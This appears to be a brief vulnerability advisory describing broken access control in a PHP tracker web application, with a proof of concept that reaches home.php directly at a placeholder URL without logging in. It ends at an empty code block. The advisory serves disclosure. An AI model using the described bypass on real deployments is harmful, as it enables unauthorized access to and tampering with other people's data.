### Broken Access Control:

> Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to specific resources and functions. It involves ensuring users are authorized only for the resources and functionalities intended for them.

### Affected Components:

> home.php, add-tracker.php, delete-tracker.php, update-tracker.php

### Description:

> Broken access control enables unauthenticated attackers to access the home page and to create, update, or delete trackers without providing credentials.

## Proof of Concept:

### Unauthenticated Access to Home page

> To bypass authentication, navigate to 'http://yourwebsitehere.com/home.php'. The application does not verify whether the user is authenticated or authorized to access this page.

```
